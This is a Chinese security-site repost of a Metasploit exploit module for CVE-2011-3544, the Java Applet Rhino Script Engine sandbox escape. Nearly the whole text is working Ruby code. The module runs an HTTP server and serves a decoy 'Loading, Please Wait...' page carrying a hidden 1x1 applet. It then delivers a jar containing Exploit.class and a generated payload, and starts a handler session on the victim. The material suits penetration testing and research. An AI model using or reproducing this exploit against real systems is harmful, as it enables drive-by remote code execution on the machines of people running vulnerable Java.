首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Java Applet Rhino Script Engine Remote Code Execution
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2011-12-01  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize( info = {} )
  super( update_info( info,
   'Name'          => 'Java Applet Rhino Script Engine Remote Code Execution',
   'Description'   => %q{
     This module exploits a vulnerability in the Rhino Script Engine that
    can be used by a Java Applet to run arbitrary Java code outside of
    the sandbox.  The vulnerability affects version 7 and version 6 update
    27 and earlier, and should work on any browser that supports Java
    (for example: IE, Firefox, Google Chrome, etc)
   },
   'License'       => MSF_LICENSE,
   'Author'        =>
    [
     'Michael Schierl', # Discovery
     'juan vazquez',    # metasploit module
     'Edward D. Teach <teach@consortium-of-pwners.net>',
     'sinn3r'
    ],
   'References'    =>
    [
     [ 'CVE', '2011-3544' ],
     [ 'OSVDB', '76500' ], # 76500 and 76499 have contents mixed
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ],
     [ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],
    ],
   'Platform'      => [ 'java', 'win', 'linux' ],
   'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
   'Targets'       =>
    [
     [ 'Generic (Java Payload)',
      {
       'Arch' => ARCH_JAVA,
      }
     ],
     [ 'Windows Universal',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'win'
      }
     ],
     [ 'Apple OSX',
      {
       'ARCH' => ARCH_X86,
       'Platform' => 'osx'
      }
     ],
     [ 'Linux x86',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'linux'
      }
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 18 2011'
   ))
 end


 def on_request_uri( cli, request )
  if not request.uri.match(/\.jar$/i)
   if not request.uri.match(/\/$/)
    send_redirect(cli, get_resource() + '/', '')
    return
   end

   print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")

   send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
   return
  end

  paths = [
   [ "Exploit.class" ]
  ]

  p = regenerate_payload(cli)

  jar  = p.encoded_jar
  paths.each do |path|
   1.upto(path.length - 1) do |idx|
    full = path[0,idx].join("/") + "/"
    if !(jar.entries.map{|e|e.name}.include?(full))
     jar.add_file(full, '')
    end
   end
   fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2011-3544", path ), "rb")
   data = fd.read(fd.stat.size)
   jar.add_file(path.join("/"), data)
   fd.close
  end

  print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
  send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

  handler( cli )
 end

 def generate_html
  html  = "<html><head><title>Loading, Please Wait...</title></head>"
  html += "<body><center><p>Loading, Please Wait...</p></center>"
  html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
  html += "</applet></body></html>"
  return html
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Serv-U FTP Server Jail Break
·CTEK SkyRouter 4200 and 4300 C
·Bugbear FlatOut 2005 Malformed
·Mercury/32 v4.52 IMAPD SEARCH
·GOM Player 2.1.33.5071 ASX Fil
·Titan FTP Server 8.40 DoS Kern
·MS11-080 Afd.sys Privilege Esc
·CCMPlayer 1.5 Stack based Buff
·Android 'content://' URI Multi
·IBM Lotus Domino Server Contro
·Linux/MIPS - add user(UID 0) w
·Serv-U FTP Server <4.2 Buffer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved